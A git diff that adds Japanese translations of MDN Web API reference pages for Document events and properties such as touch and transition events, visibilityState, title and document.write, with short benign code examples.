+ + diff --git a/files/ja/web/api/document/selectionchange_event/index.html b/files/ja/web/api/document/selectionchange_event/index.html new file mode 100644 index 0000000000..c255bf8328 --- /dev/null +++ b/files/ja/web/api/document/selectionchange_event/index.html @@ -0,0 +1,81 @@ +--- +title: 'Document: selectionchange イベント' +slug: Web/API/Document/selectionchange_event +tags: + - Event + - Reference + - Selection + - Selection API + - selectionchange +translation_of: Web/API/Document/selectionchange_event +--- +

{{APIRef}}

+ +
+

selectionchange イベントは Selection API の一部で、文書における現在のテキストの選択が変更された際に発生します。

+
+ + + + + + + + + + + + + + + + + + + + +
バブリングなし
キャンセル不可
インターフェイス{{domxref("Event")}}
イベントハンドラープロパティ{{domxref("GlobalEventHandlers.onselectionchange", "onselectionchange")}}
+ +

例

+ +
// addEventListener version
+document.addEventListener('selectionchange', () => {
+  console.log(document.getSelection());
+});
+
+// onselectionchange version
+document.onselectionchange = () => {
+  console.log(document.getSelection());
+};
+
+ +

仕様書

+ + + + + + + + + + + + + + + + +
仕様書状態備考
{{SpecName('Selection API', '#selectionchange-event', 'selectionchange')}}{{Spec2('Selection API')}}初回定義
+ +

ブラウザーの互換性

+ +

{{Compat("api.Document.selectionchange_event")}}

+ +

関連情報

+ + diff --git a/files/ja/web/api/document/selectstart_event/index.html b/files/ja/web/api/document/selectstart_event/index.html new file mode 100644 index 0000000000..448225df42 --- /dev/null +++ b/files/ja/web/api/document/selectstart_event/index.html @@ -0,0 +1,73 @@ +--- +title: 'Document: selectstart event' +slug: Web/API/Document/selectstart_event +translation_of: Web/API/Document/selectstart_event +--- +
{{APIRef}}
+ +
+

Selection API の selectstart イベントは新しい選択範囲をユーザが指定した際に発火します。

+ +

イベントがキャンセルされた場合、選択範囲は変更されません。

+
+ + + + + + + + + + + + + + + + + + + + +
Bubbles有効
Cancelable有効
Interface{{domxref("Event")}}
Event handler property{{domxref("GlobalEventHandlers.onselectstart", "onselectstart")}}
+ +

例

+ +
// addEventListener version
+document.addEventListener('selectstart', () => {
+  console.log('Selection started');
+});
+
+// onselectstart version
+document.onselectstart = () => {
+  console.log('Selection changed.');
+};
+
+ +

仕様

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Selection API', '#selectstart-event', 'selectstart')}}{{Spec2('Selection API')}}Initial definition.
+ +

ブラウザ互換性

+ +

{{Compat("api.Document.selectstart_event")}}

+ +

参照

+ + diff --git a/files/ja/web/api/document/stylesheetsets/index.html b/files/ja/web/api/document/stylesheetsets/index.html new file mode 100644 index 0000000000..aaf81a5774 --- /dev/null +++ b/files/ja/web/api/document/stylesheetsets/index.html @@ -0,0 +1,59 @@ +--- +title: Document.styleSheetSets +slug: Web/API/Document/styleSheetSets +tags: + - API + - CSSOM + - DOM + - Property + - Reference + - Stylesheets +translation_of: Web/API/Document/styleSheetSets +--- +
{{APIRef("DOM")}}{{gecko_minversion_header("1.9")}}{{obsolete_header}}
+ +

styleSheetSets プロパティは読み取り専用で、現在有効なすべてのスタイルシートセットの生きたリストを返します。

+ +

構文

+ +
var sets = document.styleSheetSets;
+
+ +

返値である sets は、利用可能なスタイルシートセットのリストです。

+ +

例

+ +

以下のようなコードで、 "sheetList" という ID を持った{{HTMLElement("ul")}} (リスト) 要素に対し、すべての有効なスタイルシートセットの名前を挙げることができます。

+ +
let list = document.getElementById('sheetList');
+let sheets = document.styleSheetSets;
+
+list.innerHTML = '';
+
+for (let i = 0; i < sheets.length; i++) {
+  let item = document.createElement('li');
+
+  item.innerHTML = sheets[i];
+  list.appendChild(item);
+}
+ +

注

+ +

有効なスタイルシートセットのリストは、その文書に有効なすべてのスタイルシートを {{domxref("document.styleSheets")}} 属性で並べられている順に列挙し、題名を持つそれぞれのスタイルシートの title をリストに追加することによって構築されます。重複するものは (大文字小文字を区別する比較を使用して) リストから削除されます。

+ +

ブラウザーの互換性

+ + + +

{{Compat("api.Document.styleSheetSets")}}

+ +

関連情報

+ + diff --git a/files/ja/web/api/document/title/index.html b/files/ja/web/api/document/title/index.html new file mode 100644 index 0000000000..e4daa979fd --- /dev/null +++ b/files/ja/web/api/document/title/index.html @@ -0,0 +1,80 @@ +--- +title: Document.title +slug: Web/API/Document/title +tags: + - API + - Command API + - Document + - HTML DOM + - NeedsSpecTable + - Property + - Reference +translation_of: Web/API/Document/title +--- +
{{APIRef("DOM")}}
+ +

document.title プロパティは、現在の文書の題名を取得または設定します。

+ +

構文

+ +
var docTitle = document.title;
+
+ +

docTitle は document の題名を含む文字列です。題名が document.title に設定することで上書きされている場合は、その値を含みます。そうでなければ、マークアップの中で指定された題名を含みます (下記の{{Anch("Notes", "メモ")}}を参照)。

+ +
document.title = newTitle;
+
+ +

newTitle は文書の新しい題名です。代入すると、 document.title の返値、文書に表示される題名 (ウィンドウのタイトルバーやタブなど)、文書の DOM (HTML 文書の <title> 要素の内容など) にも反映されます。

+ +

例

+ +
<!DOCTYPE html>
+<html>
+<head>
+  <title>Hello World!</title>
+</head>
+<body>
+
+  <script>
+    alert(document.title); // "Hello World!" と表示
+    document.title = "Goodbye World!";
+    alert(document.title); // "Goodbye World!" と表示
+  </script>
+
+</body>
+</html>
+
+ +

注

+ +

Gecko では、このプロパティは HTML, SVG, XUL, その他の文書に適用されます。

+ +

HTML 文書では、 document.title の初期値は <title> 要素のテキストの内容です。 XUL では、 {{XULElem("window")}} またはその他の最上位 XUL 要素の {{XULAttr("title")}} 属性の値です。

+ +

XUL では、文書の読み込みが完了する前に document.title にアクセスした時の動作は未定義です。 document.title が空文字を返す場合があり、また document.title を設定しても効果が表れないかもしれません。

+ +

仕様書

+ + + + + + + + + + + + + + + + +
仕様書状態備考
{{SpecName('HTML WHATWG','#document.title','document.title')}}{{Spec2('HTML WHATWG')}}
+ +

ブラウザーの互換性

+ + + +

{{Compat("api.Document.title")}}

diff --git a/files/ja/web/api/document/tooltipnode/index.html b/files/ja/web/api/document/tooltipnode/index.html new file mode 100644 index 0000000000..5511497b25 --- /dev/null +++ b/files/ja/web/api/document/tooltipnode/index.html @@ -0,0 +1,32 @@ +--- +title: Document.tooltipNode +slug: Web/API/Document/tooltipNode +tags: + - API + - 'API:Mozilla Extensions' + - DOM + - Draft + - Gecko + - Mozilla + - Non-standard + - Property + - Reference +translation_of: Web/API/Document/tooltipNode +--- +

{{APIRef("DOM")}}{{Draft}}{{Non-standard_Header}}

+ +

Document.tooltipNode プロパティは、現在の {{XULElem("tooltip")}} の対象となるノードを返します。

+ +

構文

+ +
document.tooltipNode;
+ +

仕様書

+ +

XUL で定められたメソッドであり、標準仕様には含まれていません。{{Source("dom/public/idl/xul/nsIDOMXULDocument.idl#59", "nsIDOMXULDocument.idl")}} で定義されています。

+ +

ブラウザーの互換性

+ + + +

{{Compat("api.Document.tooltipNode")}}

diff --git a/files/ja/web/api/document/touchcancel_event/index.html b/files/ja/web/api/document/touchcancel_event/index.html new file mode 100644 index 0000000000..8c539a854c --- /dev/null +++ b/files/ja/web/api/document/touchcancel_event/index.html @@ -0,0 +1,54 @@ +--- +title: 'Document: touchcancel イベント' +slug: Web/API/Document/touchcancel_event +tags: + - Document + - Event + - Reference + - TouchEvent + - Web + - touchcancel +translation_of: Web/API/Document/touchcancel_event +--- +
{{APIRef}}
+ +

touchcancel イベントは、1つ以上のタッチ点が実装特有の規則で破棄されたとき (例えば、作成されたタッチ点の数が多すぎるなど) に発生します。

+ + + + + + + + + + + + + + + + + + + + +
バブリングあり
キャンセル可能いいえ
インターフェイス{{domxref("TouchEvent")}}
イベントハンドラープロパティ{{ domxref("GlobalEventHandlers.ontouchcancel","ontouchcancel")}}
+ +

例

+ +

これらのイベントのコード例は、指定のページ「タッチイベント」で利用できます。

+ +

ブラウザーの対応

+ + + +

{{Compat("api.Document.touchcancel_event")}}

+ +

関連情報

+ + diff --git a/files/ja/web/api/document/touchend_event/index.html b/files/ja/web/api/document/touchend_event/index.html new file mode 100644 index 0000000000..3ace37291b --- /dev/null +++ b/files/ja/web/api/document/touchend_event/index.html @@ -0,0 +1,59 @@ +--- +title: 'Document:touchend イベント' +slug: Web/API/Document/touchend_event +tags: + - API + - Event + - Reference + - Touch Events + - TouchEvent + - UI + - UI Events + - UX + - ontouchend + - touch + - touchend + - イベント +translation_of: Web/API/Document/touchend_event +--- +
{{APIRef}}
+ +

touchend イベントは、タッチ平面から1つ以上のタッチポイントが取り除かれた場合に発生します。

+ + + + + + + + + + + + + + + + + + + + +
バブリングはい
キャンセル可能はい
インターフェイス{{domxref("TouchEvent")}}
イベントハンドラープロパティ{{ domxref("GlobalEventHandlers.ontouchend","ontouchend")}}
+ +

例

+ +

これらのイベントのコード例は、指定のページ「タッチイベント」で利用できます。

+ +

ブラウザーの対応

+ + + +

{{Compat("api.Document.touchend_event")}}

+ +

関連情報

+ + diff --git a/files/ja/web/api/document/touchmove_event/index.html b/files/ja/web/api/document/touchmove_event/index.html new file mode 100644 index 0000000000..53265149f9 --- /dev/null +++ b/files/ja/web/api/document/touchmove_event/index.html @@ -0,0 +1,76 @@ +--- +title: 'Document: touchmove イベント' +slug: Web/API/Document/touchmove_event +tags: + - API + - DOM + - Document + - Event + - Reference + - Touch Events + - TouchEvent + - UI + - UI Events + - UX + - touch + - touchmove + - イベント +translation_of: Web/API/Document/touchmove_event +--- +
{{APIRef}}
+ +

touchmove イベントは、タッチ平面に沿って1つ以上のタッチポイントが移動した場合に発生します。

+ + + + + + + + + + + + + + + + + + + + +
バブリングあり
キャンセル可能はい
インターフェイス{{domxref("TouchEvent")}}
イベントハンドラープロパティ{{ domxref("GlobalEventHandlers.ontouchmove","ontouchmove")}}
+ +

例

+ +

これらのイベントのコード例は、指定のページ「タッチイベント」で利用できます。

+ +

仕様書

+ + + + + + + + + + + + +
仕様書状態
{{SpecName('Touch Events', '#event-touchmove')}}{{Spec2('Touch Events')}}
+ +

ブラウザーの互換性

+ + + +

{{Compat("api.Document.touchmove_event")}}

+ +

関連情報

+ + diff --git a/files/ja/web/api/document/touchstart_event/index.html b/files/ja/web/api/document/touchstart_event/index.html new file mode 100644 index 0000000000..26def56607 --- /dev/null +++ b/files/ja/web/api/document/touchstart_event/index.html @@ -0,0 +1,56 @@ +--- +title: 'Document: touchstart event' +slug: Web/API/Document/touchstart_event +tags: + - Document + - Event + - Reference + - TouchEvent + - Web + - touchstart + - イベント + - ウェブ +translation_of: Web/API/Document/touchstart_event +--- +
{{APIRef}}
+ +

touchstart イベントは、タッチ平面上に1つ以上のタッチポイントが配置されたときに発生します。

+ + + + + + + + + + + + + + + + + + + + +
バブリングあり
キャンセル可能はい
インターフェイス{{domxref("TouchEvent")}}
イベントハンドラープロパティ{{ domxref("GlobalEventHandlers.ontouchstart","ontouchstart")}}
+ +

例

+ +

これらのイベントのコード例は、指定のページ「タッチイベント」で利用できます。

+ +

ブラウザーの対応

+ + + +

{{Compat("api.Document.touchstart_event")}}

+ +

関連情報

+ + diff --git a/files/ja/web/api/document/transitioncancel_event/index.html b/files/ja/web/api/document/transitioncancel_event/index.html new file mode 100644 index 0000000000..1e16ffc725 --- /dev/null +++ b/files/ja/web/api/document/transitioncancel_event/index.html @@ -0,0 +1,95 @@ +--- +title: 'Document: transitioncancel イベント' +slug: Web/API/Document/transitioncancel_event +tags: + - Document + - Event + - Reference + - TransitionEvent + - Web + - transitioncancel + - イベント + - ウェブ + - トランジション +translation_of: Web/API/Document/transitioncancel_event +--- +
{{APIRef}}{{SeeCompatTable}}
+ +

transitioncancel イベントは、 CSS トランジションがキャンセルされたときに発生します。

+ +

詳しくは {{domxref("GlobalEventHandlers.ontransitioncancel")}} をご覧ください。

+ + + + + + + + + + + + + + + + + + + + +
バブリングあり
キャンセル不可
インターフェイス{{domxref("TransitionEvent")}}
イベントハンドラープロパティ{{domxref("GlobalEventHandlers.ontransitioncancel")}}
+ +

このイベントの本来の対象は、トランジションが適用された {{domxref("Element")}} です。このイベントを {{domxref("Document")}} インターフェイス上で待ち受けし、キャプチャやバブリングの局面で処理することができます。このイベントについて完全な詳細は、 HTMLElement: transitioncancel イベントを参照してください。

+ +

例

+ +

このコードは、リスナーに transitioncancel イベントを追加します。

+ +
document.addEventListener('transitioncancel', () => {
+  console.log('Transition canceled');
+});
+ +

同様に、 {{domxref("GlobalEventHandlers.ontransitioncancel", "ontransitioncancel")}} プロパティを addEventListener() の代わりに使用した例です。

+ +
document.ontransitioncancel = () => {
+  console.log('Transition canceled');
+};
+ +

このイベントのライブデモを参照してください。

+ +

仕様書

+ + + + + + + + + + + + + + + + +
仕様書状態備考
{{SpecName('CSS3 Transitions', '#transitioncancel', 'transitioncancel')}}{{Spec2('CSS3 Transitions')}}初回定義
+ +

ブラウザーの互換性

+ + + +

{{Compat("api.Document.transitioncancel_event")}}

+ +

関連情報

+ + diff --git a/files/ja/web/api/document/transitionend_event/index.html b/files/ja/web/api/document/transitionend_event/index.html new file mode 100644 index 0000000000..0781961e3d --- /dev/null +++ b/files/ja/web/api/document/transitionend_event/index.html @@ -0,0 +1,94 @@ +--- +title: 'Document: transitionend イベント' +slug: Web/API/Document/transitionend_event +tags: + - CSS トランジション + - Document + - Event + - Reference + - Web + - transitionend + - イベント + - ウェブ +translation_of: Web/API/Document/transitionend_event +--- +
{{APIRef}}
+ +

transitionend イベントは、 CSS トランジションが完了したときに発生します。トランジションが完了前に削除された場合、例えば {{cssxref("transition-property")}} が削除されたり、 {{cssxref("display")}} が none に設定されたりした場合、イベントは生成されません。

+ + + + + + + + + + + + + + + + + + + + +
バブリングあり
キャンセル可
インターフェイス{{domxref("TransitionEvent")}}
イベントハンドラープロパティ{{domxref("GlobalEventHandlers/ontransitionend", "ontransitionend")}}
+ +

transitionend イベントは二つの方向で発生します。 - トランジション終了の状態まで遷移し終わったときと、既定またはトランジションがない状態まで完全に戻ったときです。トランジションに待ち時間や実行時間がない場合、両方が0秒またはどちらも宣言されていなかった場合、トランジションは発生せず、トランジションイベントは発生しません。 transitioncancel イベントが発生すると、 transitionend イベントは発生しません。

+ +

このイベントの本来の対象は、トランジションが適用された {{domxref("Element")}} です。このイベントを {{domxref("Document")}} インターフェイス上で待ち受けし、キャプチャやバブリングの局面で処理することができます。このイベントについて完全な詳細は、 HTMLElement: transitionend イベントを参照してください。

+ +

例

+ +

このコードはリスナーに transitionend イベントを追加します。

+ +
document.addEventListener('transitionend', () => {
+  console.log('Transition ended');
+});
+ +

同様に、 {{domxref("GlobalEventHandlers/ontransitioncancel", "ontransitionend")}} プロパティを addEventListener() の代わりに使用した例です。

+ +
document.ontransitionend = () => {
+  console.log('Transition ended');
+};
+ +

このイベントのライブデモを参照してください。

+ +

仕様書

+ + + + + + + + + + + + + + + + +
仕様書状態備考
{{SpecName("CSS3 Transitions", "#transitionend", "transitionend")}}{{Spec2('CSS3 Transitions')}}初回定義
+ +

ブラウザーの互換性

+ + + +

{{Compat("api.Document.transitionend_event")}}

+ +

関連情報

+ + diff --git a/files/ja/web/api/document/transitionrun_event/index.html b/files/ja/web/api/document/transitionrun_event/index.html new file mode 100644 index 0000000000..0889ea8f37 --- /dev/null +++ b/files/ja/web/api/document/transitionrun_event/index.html @@ -0,0 +1,93 @@ +--- +title: 'Document: transitionrun イベント' +slug: Web/API/Document/transitionrun_event +tags: + - Document + - Event + - Reference + - TransitionEvent + - Web + - transitionrun + - イベント + - ウェブ + - トランジション +translation_of: Web/API/Document/transitionrun_event +--- +
{{APIRef}}{{SeeCompatTable}}
+ +

transitionrun イベントは、 CSS トランジションが最初に生成されたとき、すなわち {{cssxref("transition-delay")}} が始まる前に発生します。

+ + + + + + + + + + + + + + + + + + + + +
バブリングあり
キャンセル不可
インターフェイス{{domxref("TransitionEvent")}}
イベントハンドラープロパティ{{domxref("GlobalEventHandlers/ontransitionrun", "ontransitionrun")}}
+ +

このイベントの本来の対象は、トランジションが適用された {{domxref("Element")}} です。このイベントを {{domxref("Document")}} インターフェイス上で待ち受けし、キャプチャやバブリングの局面で処理することができます。このイベントについて完全な詳細は、 HTMLElement: transitionrun イベントを参照してください。

+ +

例

+ +

次のコードは transitionrun イベントにリスナーを追加します。

+ +
document.addEventListener('transitionrun', () => {
+  console.log('Transition is running but hasn't necessarily started transitioning yet');
+});
+ +

同じですが、 {{domxref("GlobalEventHandlers/ontransitionrun", "ontransitionrun")}} を addEventListener() の代わりに使用すると次のようになります。

+ +
document.ontransitionrun = () => {
+  console.log('Transition started running');
+};
+ +

このイベントのライブデモを参照してください。

+ +

仕様書

+ + + + + + + + + + + + + + + + +
仕様書状態備考
{{SpecName('CSS3 Transitions', '#transitionrun', 'transitionrun')}}{{Spec2('CSS3 Transitions')}}初回定義
+ +

ブラウザーの互換性

+ + + +

{{Compat("api.Document.transitionrun_event")}}

+ +

関連情報

+ + diff --git a/files/ja/web/api/document/transitionstart_event/index.html b/files/ja/web/api/document/transitionstart_event/index.html new file mode 100644 index 0000000000..1c8619b2fd --- /dev/null +++ b/files/ja/web/api/document/transitionstart_event/index.html @@ -0,0 +1,95 @@ +--- +title: 'Document: transitionstart イベント' +slug: Web/API/Document/transitionstart_event +tags: + - DOM + - Document + - Event + - Reference + - Web + - transitionstart + - イベント + - ウェブ + - トランジション +translation_of: Web/API/Document/transitionstart_event +--- +
{{APIRef}}{{SeeCompatTable}}
+ +

transitionstart イベントは、 CSS トランジションが実際に始まったとき、すなわち {{cssxref("transition-delay")}} が終了した後に発生します。

+ +

transitionstart と transitionrun の違いは、 transitionrun がトランジションが生成されたとき (すなわち、待ち時間の開始) に発生するのに対し、 transitionstart は実際にアニメーションが始まったとき (すなわち、待ち時間の終了) に発生することです。

+ + + + + + + + + + + + + + + + + + + + +
バブリングあり
キャンセル不可
インターフェイス{{domxref("TransitionEvent")}}
イベントハンドラープロパティ{{domxref("GlobalEventHandlers.ontransitionstart")}}
+ +

このイベントの本来の対象は、トランジションが適用された {{domxref("Element")}} です。このイベントを {{domxref("Document")}} インターフェイス上で待ち受けし、キャプチャやバブリングの局面で処理することができます。このイベントについて完全な詳細は、 HTMLElement: transitionstart イベントを参照してください。

+ +

例

+ +

次のコードは transitionstart イベントにリスナーを追加します。

+ +
document.addEventListener('transitionrun', () => {
+  console.log('Transition is running but hasn't necessarily started transitioning yet');
+});
+ +

同じですが、 {{domxref("GlobalEventHandlers/ontransitionstart", "ontransitionstart")}} を addEventListener() の代わりに使用すると次のようになります。

+ +
document.ontransitionrun = () => {
+  console.log('Transition started running');
+};
+ +

このイベントのライブデモを参照してください。

+ +

仕様書

+ + + + + + + + + + + + + + + + +
仕様書状態備考
{{SpecName('CSS3 Transitions', '#transitionstart', 'transitionstart')}}{{Spec2('CSS3 Transitions')}}初回定義
+ +

ブラウザーの互換性

+ + + +

{{Compat("api.Document.transitionstart_event")}}

+ +

関連情報

+ + diff --git a/files/ja/web/api/document/url/index.html b/files/ja/web/api/document/url/index.html new file mode 100644 index 0000000000..e881a6c1f2 --- /dev/null +++ b/files/ja/web/api/document/url/index.html @@ -0,0 +1,75 @@ +--- +title: Document.URL +slug: Web/API/Document/URL +tags: + - API + - Document + - HTML DOM + - URL + - プロパティ + - リファレンス +translation_of: Web/API/Document/URL +--- +
{{APIRef("DOM")}}
+ +

{{domxref("Document")}} インターフェイスの URL プロパティは読取専用で、文書の位置を文字列で返します。

+ +

構文

+ +
var string = document.URL
+
+ +

例

+ +

JavaScript

+ +
document.getElementById("url").textContent = document.URL;
+ +

HTML

+ +
<p id="urlText">
+  URL:<br/>
+  <span id="url">URL goes here</span>
+</p>
+ +

結果

+ +

{{EmbedLiveSample("Example", "100%", 100)}}

+ +

仕様書

+ + + + + + + + + + + + + + + + + + + + + +
仕様書状態備考
{{SpecName("DOM WHATWG", "#dom-document-url", "Document.URL")}}{{Spec2("DOM WHATWG")}}プロパティを {{domxref("DOMString")}} ではなく {{domxref("USVString")}} と定義
{{SpecName("DOM1", "level-one-html.html#attribute-URL", "Document.URL")}}{{Spec2("DOM1")}}初回定義
+ +

ブラウザーの対応

+ +
+ + +

{{Compat("api.Document.URL")}}

+
+ +

関連情報

+ + diff --git a/files/ja/web/api/document/visibilitychange_event/index.html b/files/ja/web/api/document/visibilitychange_event/index.html new file mode 100644 index 0000000000..9cbebfdd7f --- /dev/null +++ b/files/ja/web/api/document/visibilitychange_event/index.html @@ -0,0 +1,84 @@ +--- +title: 'Document: visibilitychange イベント' +slug: Web/API/Document/visibilitychange_event +tags: + - API + - Document + - Event + - Reference + - Visibility + - Web + - visibilitychange +translation_of: Web/API/Document/visibilitychange_event +--- +
{{APIRef}}
+ +

visibilitychange イベントは、タブのコンテンツが表示状態または非表示状態になったときに document に発生します。

+ + + + + + + + + + + + + + + + + + + + +
バブリングあり
キャンセル可能いいえ
インターフェイス{{domxref("Event")}}
イベントハンドラープロパティ{{domxref("Document.onvisibilitychange", "onvisibilitychange")}}
+ +

使用上の注意

+ +

このイベントには、更新された文書の表示・非表示状態が含まれていませんが、この情報は document の {{domxref("Document.visibilityState", "visibilityState")}} プロパティから取得することができます。

+ +

例

+ +

この例は、文書が表示状態になった時に音楽を再生し、文書が非表示になった時に音楽を停止します。

+ +
document.addEventListener("visibilitychange", function() {
+  if (document.visibilityState === 'visible') {
+    backgroundMusic.play();
+  } else {
+    backgroundMusic.pause();
+  }
+});
+
+ +

仕様書

+ + + + + + + + + + + + + + + + +
仕様書状態備考
{{SpecName('Page Visibility API','#sec-visibilitychange-event','visibilitychange')}}{{Spec2('Page Visibility API')}}
+ +

ブラウザーの互換性

+ +

{{Compat("api.Document.visibilitychange")}}

+ +

関連情報

+ + diff --git a/files/ja/web/api/document/visibilitystate/index.html b/files/ja/web/api/document/visibilitystate/index.html new file mode 100644 index 0000000000..e99de9bc42 --- /dev/null +++ b/files/ja/web/api/document/visibilitystate/index.html @@ -0,0 +1,65 @@ +--- +title: Document.visibilityState +slug: Web/API/Document/visibilityState +tags: + - DOM + - Document + - Page Visibility API + - Property + - Read-only + - Reference + - Web +translation_of: Web/API/Document/visibilityState +--- +

{{ ApiRef("DOM") }}

+ +

Document.visibilityState 読み取り専用プロパティは、文書 ({{domxref('document')}}) の可視性、つまりこの要素が現在表示されているかのコンテキストを返します。 文書がバックグラウンドにあるのか、非表示のタブにあるのか、プリレンダリングのためにのみ読み込まれるのかを知ることは有用です。 可能な値は次のとおりです。

+ +
+
visible
+
ページのコンテンツは、少なくとも部分的に表示される場合があります。実際には、これはページが最小化されていないウィンドウのフォアグラウンドタブであることを意味します。
+
hidden
+
ページのコンテンツはユーザーには表示されません。実際には、これは文書がバックグラウンドタブまたは最小化されたウィンドウの一部であるか、 OS の画面ロックがアクティブであることを意味します。
+
prerender {{deprecated_inline}}
+
ページのコンテンツはプリレンダリングされており、ユーザーには表示されません (document.hidden の目的で非表示と見なされます)。 文書はこの状態で開始する場合がありますが、別の値から移行することはありません。 注: これは標準から削除されました。 詳細については、互換性の表を確認してください。
+
+ +

このプロパティの値が変更されると、 {{domxref("Document/visibilitychange_event", "visibilitychange")}} イベントが {{domxref("Document")}} に送信されます。

+ +

これの一般的な用途は、文書がプリレンダリングされている場合に一部のアセットのダウンロードを防止したり、文書がバックグラウンドにあるか最小化されている場合に一部のアクティビティを停止したりすることです。

+ +

構文

+ +
var string = document.visibilityState
+ +

Examples

+ +
document.addEventListener("visibilitychange", function() {
+  console.log( document.visibilityState );
+  // 振る舞いを変更します...
+})
+ +

仕様書

+ + + + + + + + + + + + + + + + +
仕様書状態備考
{{SpecName('Page Visibility API','#visibility-states-and-the-visibilitystate-enum', 'Document.visibilityState')}}{{Spec2('Page Visibility API')}}初回定義
+ +

ブラウザーの互換性

+ + + +

{{Compat("api.Document.visibilityState")}}

diff --git a/files/ja/web/api/document/vlinkcolor/index.html b/files/ja/web/api/document/vlinkcolor/index.html new file mode 100644 index 0000000000..f965036b6b --- /dev/null +++ b/files/ja/web/api/document/vlinkcolor/index.html @@ -0,0 +1,47 @@ +--- +title: Document.vlinkColor +slug: Web/API/Document/vlinkColor +tags: + - API + - Deprecated + - Document + - HTML DOM + - Property + - Reference + - プロパティ + - 非推奨 +translation_of: Web/API/Document/vlinkColor +--- +
{{APIRef("DOM")}} {{ Deprecated_header() }}
+ +

Document.vlinkColor プロパティは、文書内のユーザーが訪問済みのリンクの色を取得または設定します。

+ +

構文

+ +
color = document.vlinkColor
+document.vlinkColor = color
+
+ +

引数

+ + + +

メモ

+ + + +

ブラウザーの対応

+ + + +

{{Compat("api.Document.vlinkColor")}}

diff --git a/files/ja/web/api/document/width/index.html b/files/ja/web/api/document/width/index.html new file mode 100644 index 0000000000..519fce7b1b --- /dev/null +++ b/files/ja/web/api/document/width/index.html @@ -0,0 +1,59 @@ +--- +title: Document.width +slug: Web/API/Document/width +tags: + - API + - Document + - HTML DOM + - Obsolete + - Reference + - width + - プロパティ +translation_of: Web/API/Document/width +--- +
{{APIRef("DOM")}} {{Obsolete_header}}
+ +
+

メモ: {{Gecko("6.0")}} より document.width には対応しなくなりました。代わりに document.body.clientWidth を使用してください。 {{domxref("element.clientWidth")}} を参照して下さい。

+
+ +

現在の文書の {{HTMLElement("body")}} 要素の現在の幅をピクセル値で返します。

+ +

Internet Explorer では対応していません。

+ +

構文

+ +
pixels = document.width;
+
+ +

例

+ +
function init() {
+  alert("文書の幅は " + document.width + " ピクセルです。");
+}
+
+ +

代替策

+ +
document.body.clientWidth              /* <body> の幅 */
+document.documentElement.clientWidth   /* <html> の幅 */
+window.innerWidth                      /* window の内寸幅 */
+
+ +

仕様書

+ +

HTML5

+ +

ブラウザーの対応

+ + + +

{{Compat("api.Document.width")}}

+ +

関連情報

+ + diff --git a/files/ja/web/api/document/write/index.html b/files/ja/web/api/document/write/index.html new file mode 100644 index 0000000000..001be34b9f --- /dev/null +++ b/files/ja/web/api/document/write/index.html @@ -0,0 +1,112 @@ +--- +title: Document.write() +slug: Web/API/Document/write +tags: + - API + - DOM + - Document + - Method + - Reference + - write +translation_of: Web/API/Document/write +--- +
{{ApiRef("DOM")}}
+ +

Document.write() メソッドは、テキストの文字列を {{domxref("document.open()")}} で開かれた文書ストリームに書き込みます。

+ +
注: document.write() は文書のストリームに書き込みを行うため、閉じられた (読み込み済みの) 文書で document.write() を呼び出すと、自動的に document.open() が呼び出され、文書はクリアされます。
+ +

構文

+ +
document.write(markup);
+
+ +

引数

+ +
+
markup
+
文書に書き込まれるテキストを含む文字列です。
+
+ +

例

+ +
<html>
+
+<head>
+  <title>書き込み例</title>
+
+  <script>
+    function newContent() {
+      document.open();
+      document.write("<h1>新しい内容では、古い内容は削除されます！</h1>");
+      document.close();
+    }
+  </script>
+</head>
+
+<body onload="newContent();">
+  <p>元の文書コンテンツ。</p>
+</body>
+
+</html>
+
+ +

{{EmbedLiveSample("Syntax")}}

+ +

注

+ +

出力したテキストは文書構造モデルにおいて構文解析されます。上記の例では、 h1 要素は文書中の一つのノードになります。

+ +

{{domxref("document.open()")}} を呼び出さずに読み込まれた文書へ書き込みを行うと、自動的に document.open() の呼び出しが実行されます。一度出力し終わったとき、ブラウザーにページの読み込みの終了を伝えるために、 {{domxref("document.close()")}} を呼び出すことが推奨されます。

+ +

document.write() の呼び出しがインラインの HTML の <script> タグ内で行われた場合、 document.open() は呼び出されません。次に例を示します。

+ +
<script>
+  document.write("<h1>Main title</h1>")
+</script>
+
+ +
注: document.write() および {{domxref("document.writeln")}} は、 XHTML 文書では動作しません (エラーコンソールに "Operation is not supported" [NS_ERROR_DOM_NOT_SUPPORTED_ERR] エラーが表示されます)。これは、 .xhtml の拡張子を持つローカルファイルを開いたり、何らかの文書が application/xhtml+xml の {{Glossary("MIME type", "MIME タイプ")}}で提供されたときに発生します。詳細は W3C XHTML FAQ で確認することができます。
+ +
注: document.write は deferred または asynchronous のスクリプト内では無視され、エラーコンソールに "A call to document.write() from an asynchronously-loaded external script was ignored" などのメッセージが表示されます。
+ +
注: Edge のみ、document.write() を {{HTMLElement("iframe")}} 内で複数回呼び出すと、 SCRIPT70: Permission denied エラーが発生します。
+ +
注: Chrome 55 からは、キャッシュされていない HTTP の場合、document.write() を通じて挿入された <script> 要素は実行されなくなります。これが成立するのに必要な条件の一覧については、document.write() に対する介入をご覧ください。
+ +

仕様書

+ + + + + + + + + + + + + + + + + + + + + +
仕様書状態備考
{{SpecName("HTML WHATWG", "#dom-document-write", "document.write(...)")}}{{Spec2("HTML WHATWG")}}
{{SpecName("DOM2 HTML", "html.html#ID-75233634", "document.write(...)")}}{{Spec2("DOM2 HTML")}}
+ +

ブラウザーの互換性

+ + + +
{{Compat("api.Document.write")}}
+ +

関連情報

+ + diff --git a/files/ja/web/api/document/writeln/index.html b/files/ja/web/api/document/writeln/index.html new file mode 100644 index 0000000000..613308e98e --- /dev/null +++ b/files/ja/web/api/document/writeln/index.html @@ -0,0 +1,66 @@ +--- +title: Document.writeln() +slug: Web/API/Document/writeln +tags: + - API + - DOM + - Method + - Reference + - メソッド +translation_of: Web/API/Document/writeln +--- +

{{ ApiRef("DOM") }}

+ +

テキストの文字列とその直後に続く改行文字を文書に書き込みます。

+ +

構文

+ +
document.writeln(line);
+
+ +

引数

+ + + +

Example

+ +
document.writeln("<p>パスワードを入力してください:</p>");
+
+ +

メモ

+ +

document.writeln は {{domxref("document.write")}} と同じですが、改行文字を追加します。

+ +
メモ: document.writeln は (document.write と同様に) XHTML 文書では動作しません (エラーコンソールに "Operation is not supported" [NS_ERROR_DOM_NOT_SUPPORTED_ERR] エラーが表示されます)。これは、 .xhtml の拡張子を持つローカルファイルを開いたり、何らかの文書が application/xhtml+xml の MIME タイプで提供されたときに発生します。詳細は W3C XHTML FAQ で確認することができます。
+ +

仕様書

+ + + + + + + + + + + + + + + + + + + + + +
仕様書状態備考
